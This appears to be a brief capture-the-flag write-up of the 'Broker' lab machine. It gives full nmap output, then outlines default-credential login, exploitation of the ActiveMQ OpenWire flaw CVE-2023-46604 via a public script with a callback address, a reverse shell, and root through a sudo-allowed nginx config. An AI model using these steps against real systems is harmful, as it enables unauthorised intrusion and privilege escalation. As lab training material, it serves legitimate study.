2 minute read

Broker

Reconnaissance

IP: 10.10.11.243

NMAP

nmap -T4 -p- -A 10.10.11.243

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-27 16:59 UTC
Nmap scan report for 10.10.11.243
Host is up (0.027s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
1883/tcp  open  mqtt
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     ActiveMQ/Advisory/MasterBroker: 
|_    ActiveMQ/Advisory/Consumer/Topic/#: 
5672/tcp  open  amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
8161/tcp  open  http       Jetty 9.4.39.v20210325
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Error 401 Unauthorized
37585/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings: 
|   HELP4STOMP: 
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
|_http-server-header: Jetty(9.4.39.v20210325)
61616/tcp open  apachemq   ActiveMQ OpenWire transport 5.15.15
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5672-TCP:V=7.95%I=7%D=8/27%Time=68AF398A%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\
SF:xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01
SF:\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20cli
SF:ent\x20using\x20unsupported\x20AMQP\x20attempted")%r(HTTPOptions,89,"AM
SF:QP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1
SF:\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x0
SF:2\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20using\x2
SF:0unsupported\x20AMQP\x20attempted")%r(RTSPRequest,89,"AMQP\x03\x01\0\0A
SF:MQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`
SF:\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:d
SF:ecode-error\xa17Connection\x20from\x20client\x20using\x20unsupported\x2
SF:0AMQP\x20attempted")%r(RPCCheck,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\
SF:0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x0
SF:2\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Co
SF:nnection\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted
SF:")%r(DNSVersionBindReqTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\
SF:x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\
SF:0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connecti
SF:on\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r(D
SF:NSStatusRequestTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0
SF:\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x1
SF:8\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20f
SF:rom\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r(SSLSessi
SF:onReq,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0
SF:\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S
SF:\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client
SF:\x20using\x20unsupported\x20AMQP\x20attempted")%r(TerminalServerCookie,
SF:89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x
SF:04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\x
SF:c0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20us
SF:ing\x20unsupported\x20AMQP\x20attempted");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port61613-TCP:V=7.95%I=7%D=8/27%Time=68AF3985%P=x86_64-pc-linux-gnu%r(H
SF:ELP4STOMP,27F,"ERROR\ncontent-type:text/plain\nmessage:Unknown\x20STOMP
SF:\x20action:\x20HELP\n\norg\.apache\.activemq\.transport\.stomp\.Protoco
SF:lException:\x20Unknown\x20STOMP\x20action:\x20HELP\n\tat\x20org\.apache
SF:\.activemq\.transport\.stomp\.ProtocolConverter\.onStompCommand\(Protoc
SF:olConverter\.java:258\)\n\tat\x20org\.apache\.activemq\.transport\.stom
SF:p\.StompTransportFilter\.onCommand\(StompTransportFilter\.java:85\)\n\t
SF:at\x20org\.apache\.activemq\.transport\.TransportSupport\.doConsume\(Tr
SF:ansportSupport\.java:83\)\n\tat\x20org\.apache\.activemq\.transport\.tc
SF:p\.TcpTransport\.doRun\(TcpTransport\.java:233\)\n\tat\x20org\.apache\.
SF:activemq\.transport\.tcp\.TcpTransport\.run\(TcpTransport\.java:215\)\n
SF:\tat\x20java\.lang\.Thread\.run\(Thread\.java:750\)\n\0\n");
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 23/tcp)
HOP RTT      ADDRESS
1   26.08 ms 10.10.14.1
2   26.46 ms 10.10.11.243

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.64 seconds

Website

Site

Logged in with admin:admin credentials

nothing special on site so enumenrate nmap scan we see: 61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15 checking for exploits I found RCE https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell

python3 exploit.py -i 10.10.11.243 -p 61616  -si 10.10.14.8 -sp 8080

we have pseudoshell and can’t do too much

Gaining Access

searching for better exploit for reverse shell I found https://github.com/rootsecdev/CVE-2023-46604 change ip in xml file like in Poc

host it and run exploit

And we got reverse shell

Privilege Escalation

Starting with sudo -l we have /nginx

Searching for exploiting that method I found easy way by creating simple .conf file

Downloading it on machine, starting nginx and we are able to grab root.txt

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